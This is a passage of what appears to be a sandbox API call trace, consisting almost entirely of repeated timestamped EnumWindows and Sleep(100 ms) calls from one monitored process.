(lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.802] Sleep (dwMilliseconds=0x64) [0176.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.804] Sleep (dwMilliseconds=0x64) [0176.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.806] Sleep (dwMilliseconds=0x64) [0176.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.808] Sleep (dwMilliseconds=0x64) [0176.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.810] Sleep (dwMilliseconds=0x64) [0176.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.812] Sleep (dwMilliseconds=0x64) [0176.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.814] Sleep (dwMilliseconds=0x64) [0176.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.815] Sleep (dwMilliseconds=0x64) [0176.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.817] Sleep (dwMilliseconds=0x64) [0176.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.821] Sleep (dwMilliseconds=0x64) [0176.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.867] Sleep (dwMilliseconds=0x64) [0176.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.920] Sleep (dwMilliseconds=0x64) [0176.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.922] Sleep (dwMilliseconds=0x64) [0176.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.924] Sleep (dwMilliseconds=0x64) [0176.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.926] Sleep (dwMilliseconds=0x64) [0176.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.928] Sleep (dwMilliseconds=0x64) [0176.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.930] Sleep (dwMilliseconds=0x64) [0176.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.932] Sleep (dwMilliseconds=0x64) [0176.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.934] Sleep (dwMilliseconds=0x64) [0176.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.963] Sleep (dwMilliseconds=0x64) [0176.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0176.965] Sleep (dwMilliseconds=0x64) [0177.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.018] Sleep (dwMilliseconds=0x64) [0177.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.075] Sleep (dwMilliseconds=0x64) [0177.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.153] Sleep (dwMilliseconds=0x64) [0177.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.201] Sleep (dwMilliseconds=0x64) [0177.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.264] Sleep (dwMilliseconds=0x64) [0177.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.266] Sleep (dwMilliseconds=0x64) [0177.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.268] Sleep (dwMilliseconds=0x64) [0177.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.270] Sleep (dwMilliseconds=0x64) [0177.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.272] Sleep (dwMilliseconds=0x64) [0177.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.274] Sleep (dwMilliseconds=0x64) [0177.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.276] Sleep (dwMilliseconds=0x64) [0177.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.278] Sleep (dwMilliseconds=0x64) [0177.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.280] Sleep (dwMilliseconds=0x64) [0177.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.282] Sleep (dwMilliseconds=0x64) [0177.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.284] Sleep (dwMilliseconds=0x64) [0177.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.286] Sleep (dwMilliseconds=0x64) [0177.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.288] Sleep (dwMilliseconds=0x64) [0177.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.290] Sleep (dwMilliseconds=0x64) [0177.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.292] Sleep (dwMilliseconds=0x64) [0177.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.387] Sleep (dwMilliseconds=0x64) [0177.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.395] Sleep (dwMilliseconds=0x64) [0177.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.397] Sleep (dwMilliseconds=0x64) [0177.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.400] Sleep (dwMilliseconds=0x64) [0177.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.402] Sleep (dwMilliseconds=0x64) [0177.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.404] Sleep (dwMilliseconds=0x64) [0177.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.406] Sleep (dwMilliseconds=0x64) [0177.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.408] Sleep (dwMilliseconds=0x64) [0177.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.409] Sleep (dwMilliseconds=0x64) [0177.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.411] Sleep (dwMilliseconds=0x64) [0177.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.412] Sleep (dwMilliseconds=0x64) [0177.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.416] Sleep (dwMilliseconds=0x64) [0177.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.418] Sleep (dwMilliseconds=0x64) [0177.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.419] Sleep (dwMilliseconds=0x64) [0177.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.422] Sleep (dwMilliseconds=0x64) [0177.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.423] Sleep (dwMilliseconds=0x64) [0177.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.425] Sleep (dwMilliseconds=0x64) [0177.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.487] Sleep (dwMilliseconds=0x64) [0177.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.523] Sleep (dwMilliseconds=0x64) [0177.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.525] Sleep (dwMilliseconds=0x64) [0177.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.528] Sleep (dwMilliseconds=0x64) [0177.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.530] Sleep (dwMilliseconds=0x64) [0177.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.532] Sleep (dwMilliseconds=0x64) [0177.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.534] Sleep (dwMilliseconds=0x64) [0177.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.537] Sleep (dwMilliseconds=0x64) [0177.538] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.539] Sleep (dwMilliseconds=0x64) [0177.540] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.540] Sleep (dwMilliseconds=0x64) [0177.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.543] Sleep (dwMilliseconds=0x64) [0177.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.545] Sleep (dwMilliseconds=0x64) [0177.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.547] Sleep (dwMilliseconds=0x64) [0177.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.549] Sleep (dwMilliseconds=0x64) [0177.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.551] Sleep (dwMilliseconds=0x64) [0177.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.553] Sleep (dwMilliseconds=0x64) [0177.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.604] Sleep (dwMilliseconds=0x64) [0177.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.648] Sleep (dwMilliseconds=0x64) [0177.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.650] Sleep (dwMilliseconds=0x64) [0177.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.653] Sleep (dwMilliseconds=0x64) [0177.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.655] Sleep (dwMilliseconds=0x64) [0177.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.657] Sleep (dwMilliseconds=0x64) [0177.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.659] Sleep (dwMilliseconds=0x64) [0177.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.663] Sleep (dwMilliseconds=0x64) [0177.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.665] Sleep (dwMilliseconds=0x64) [0177.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.667] Sleep (dwMilliseconds=0x64) [0177.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.669] Sleep (dwMilliseconds=0x64) [0177.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.671] Sleep (dwMilliseconds=0x64) [0177.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.673] Sleep (dwMilliseconds=0x64) [0177.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.675] Sleep (dwMilliseconds=0x64) [0177.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.678] Sleep (dwMilliseconds=0x64) [0177.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.716] Sleep (dwMilliseconds=0x64) [0177.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.775] Sleep (dwMilliseconds=0x64) [0177.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.777] Sleep (dwMilliseconds=0x64) [0177.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.779] Sleep (dwMilliseconds=0x64) [0177.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.782] Sleep (dwMilliseconds=0x64) [0177.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.784] Sleep (dwMilliseconds=0x64) [0177.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.785] Sleep (dwMilliseconds=0x64) [0177.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.787] Sleep (dwMilliseconds=0x64) [0177.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.789] Sleep (dwMilliseconds=0x64) [0177.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.791] Sleep (dwMilliseconds=0x64) [0177.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.793] Sleep (dwMilliseconds=0x64) [0177.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.798] Sleep (dwMilliseconds=0x64) [0177.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.800] Sleep (dwMilliseconds=0x64) [0177.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.802] Sleep (dwMilliseconds=0x64) [0177.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.818] Sleep (dwMilliseconds=0x64) [0177.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.896] Sleep (dwMilliseconds=0x64) [0177.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.900] Sleep (dwMilliseconds=0x64) [0177.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.981] Sleep (dwMilliseconds=0x64) [0177.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0177.983] Sleep (dwMilliseconds=0x64) [0178.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.071] Sleep (dwMilliseconds=0x64) [0178.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.105] Sleep (dwMilliseconds=0x64) [0178.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.107] Sleep (dwMilliseconds=0x64) [0178.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.109] Sleep (dwMilliseconds=0x64) [0178.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.110] Sleep (dwMilliseconds=0x64) [0178.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.113] Sleep (dwMilliseconds=0x64) [0178.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.114] Sleep (dwMilliseconds=0x64) [0178.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.116] Sleep (dwMilliseconds=0x64) [0178.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.118] Sleep (dwMilliseconds=0x64) [0178.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.120] Sleep (dwMilliseconds=0x64) [0178.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.122] Sleep (dwMilliseconds=0x64) [0178.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.123] Sleep (dwMilliseconds=0x64) [0178.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.125] Sleep (dwMilliseconds=0x64) [0178.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.127] Sleep (dwMilliseconds=0x64) [0178.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.130] Sleep (dwMilliseconds=0x64) [0178.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.132] Sleep (dwMilliseconds=0x64) [0178.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.134] Sleep (dwMilliseconds=0x64) [0178.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.186] Sleep (dwMilliseconds=0x64) [0178.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.231] Sleep (dwMilliseconds=0x64) [0178.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.254] Sleep (dwMilliseconds=0x64) [0178.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.256] Sleep (dwMilliseconds=0x64) [0178.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.258] Sleep (dwMilliseconds=0x64) [0178.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.260] Sleep (dwMilliseconds=0x64) [0178.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.383] Sleep (dwMilliseconds=0x64) [0178.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.470] Sleep (dwMilliseconds=0x64) [0178.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.478] Sleep (dwMilliseconds=0x64) [0178.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.479] Sleep (dwMilliseconds=0x64) [0178.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.482] Sleep (dwMilliseconds=0x64) [0178.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.485] Sleep (dwMilliseconds=0x64) [0178.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.487] Sleep (dwMilliseconds=0x64) [0178.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.499] Sleep (dwMilliseconds=0x64) [0178.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.504] Sleep (dwMilliseconds=0x64) [0178.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.548] Sleep (dwMilliseconds=0x64) [0178.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.637] Sleep (dwMilliseconds=0x64) [0178.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.652] Sleep (dwMilliseconds=0x64) [0178.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.654] Sleep (dwMilliseconds=0x64) [0178.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.669] Sleep (dwMilliseconds=0x64) [0178.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.777] Sleep (dwMilliseconds=0x64) [0178.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.860] Sleep (dwMilliseconds=0x64) [0178.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0178.908] Sleep (dwMilliseconds=0x64) [0179.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.030] Sleep (dwMilliseconds=0x64) [0179.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.074] Sleep (dwMilliseconds=0x64) [0179.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.153] Sleep (dwMilliseconds=0x64) [0179.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.247] Sleep (dwMilliseconds=0x64) [0179.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.271] Sleep (dwMilliseconds=0x64) [0179.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.371] Sleep (dwMilliseconds=0x64) [0179.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.379] Sleep (dwMilliseconds=0x64) [0179.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.534] Sleep (dwMilliseconds=0x64) [0179.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.655] Sleep (dwMilliseconds=0x64) [0179.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.680] Sleep (dwMilliseconds=0x64) [0179.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0179.993] Sleep (dwMilliseconds=0x64) [0180.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.069] Sleep (dwMilliseconds=0x64) [0180.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.257] Sleep (dwMilliseconds=0x64) [0180.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.295] Sleep (dwMilliseconds=0x64) [0180.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.307] Sleep (dwMilliseconds=0x64) [0180.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.408] Sleep (dwMilliseconds=0x64) [0180.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.448] Sleep (dwMilliseconds=0x64) [0180.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.537] Sleep (dwMilliseconds=0x64) [0180.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.700] Sleep (dwMilliseconds=0x64) [0180.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.714] Sleep (dwMilliseconds=0x64) [0180.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.798] Sleep (dwMilliseconds=0x64) [0180.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.830] Sleep (dwMilliseconds=0x64) [0180.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0180.924] Sleep (dwMilliseconds=0x64) [0181.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.071] Sleep (dwMilliseconds=0x64) [0181.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.138] Sleep (dwMilliseconds=0x64) [0181.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.217] Sleep (dwMilliseconds=0x64) [0181.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.281] Sleep (dwMilliseconds=0x64) [0181.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.355] Sleep (dwMilliseconds=0x64) [0181.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.445] Sleep (dwMilliseconds=0x64) [0181.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.483] Sleep (dwMilliseconds=0x64) [0181.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.563] Sleep (dwMilliseconds=0x64) [0181.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.665] Sleep (dwMilliseconds=0x64) [0181.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.679] Sleep (dwMilliseconds=0x64) [0181.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.762] Sleep (dwMilliseconds=0x64) [0181.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.779] Sleep (dwMilliseconds=0x64) [0181.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0181.989] Sleep (dwMilliseconds=0x64) [0182.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.062] Sleep (dwMilliseconds=0x64) [0182.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.110] Sleep (dwMilliseconds=0x64) [0182.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.205] Sleep (dwMilliseconds=0x64) [0182.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.255] Sleep (dwMilliseconds=0x64) [0182.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.368] Sleep (dwMilliseconds=0x64) [0182.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.446] Sleep (dwMilliseconds=0x64) [0182.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.485] Sleep (dwMilliseconds=0x64) [0182.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.670] Sleep (dwMilliseconds=0x64) [0182.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.844] Sleep (dwMilliseconds=0x64) [0182.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.847] Sleep (dwMilliseconds=0x64) [0182.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.849] Sleep (dwMilliseconds=0x64) [0182.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.851] Sleep (dwMilliseconds=0x64) [0182.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.853] Sleep (dwMilliseconds=0x64) [0182.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.855] Sleep (dwMilliseconds=0x64) [0182.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.857] Sleep (dwMilliseconds=0x64) [0182.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.859] Sleep (dwMilliseconds=0x64) [0182.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.861] Sleep (dwMilliseconds=0x64) [0182.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.863] Sleep (dwMilliseconds=0x64) [0182.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.866] Sleep (dwMilliseconds=0x64) [0182.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.867] Sleep (dwMilliseconds=0x64) [0182.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.869] Sleep (dwMilliseconds=0x64) [0182.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.872] Sleep (dwMilliseconds=0x64) [0182.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.873] Sleep (dwMilliseconds=0x64) [0182.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.875] Sleep (dwMilliseconds=0x64) [0182.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.877] Sleep (dwMilliseconds=0x64) [0182.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.881] Sleep (dwMilliseconds=0x64) [0182.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.882] Sleep (dwMilliseconds=0x64) [0182.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.884] Sleep (dwMilliseconds=0x64) [0182.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.886] Sleep (dwMilliseconds=0x64) [0182.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.888] Sleep (dwMilliseconds=0x64) [0182.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.890] Sleep (dwMilliseconds=0x64) [0182.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.892] Sleep (dwMilliseconds=0x64) [0182.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.895] Sleep (dwMilliseconds=0x64) [0182.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.896] Sleep (dwMilliseconds=0x64) [0182.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.900] Sleep (dwMilliseconds=0x64) [0182.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.901] Sleep (dwMilliseconds=0x64) [0182.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0182.903] Sleep (dwMilliseconds=0x64) [0183.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.202] Sleep (dwMilliseconds=0x64) [0183.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.218] Sleep (dwMilliseconds=0x64) [0183.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.220] Sleep (dwMilliseconds=0x64) [0183.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.223] Sleep (dwMilliseconds=0x64) [0183.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.225] Sleep (dwMilliseconds=0x64) [0183.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.227] Sleep (dwMilliseconds=0x64) [0183.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.229] Sleep (dwMilliseconds=0x64) [0183.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.231] Sleep (dwMilliseconds=0x64) [0183.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.263] Sleep (dwMilliseconds=0x64) [0183.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.348] Sleep (dwMilliseconds=0x64) [0183.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.350] Sleep (dwMilliseconds=0x64) [0183.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.352] Sleep (dwMilliseconds=0x64) [0183.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.354] Sleep (dwMilliseconds=0x64) [0183.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.356] Sleep (dwMilliseconds=0x64) [0183.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.358] Sleep (dwMilliseconds=0x64) [0183.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.360] Sleep (dwMilliseconds=0x64) [0183.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.361] Sleep (dwMilliseconds=0x64) [0183.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.363] Sleep (dwMilliseconds=0x64) [0183.365] EnumWindows 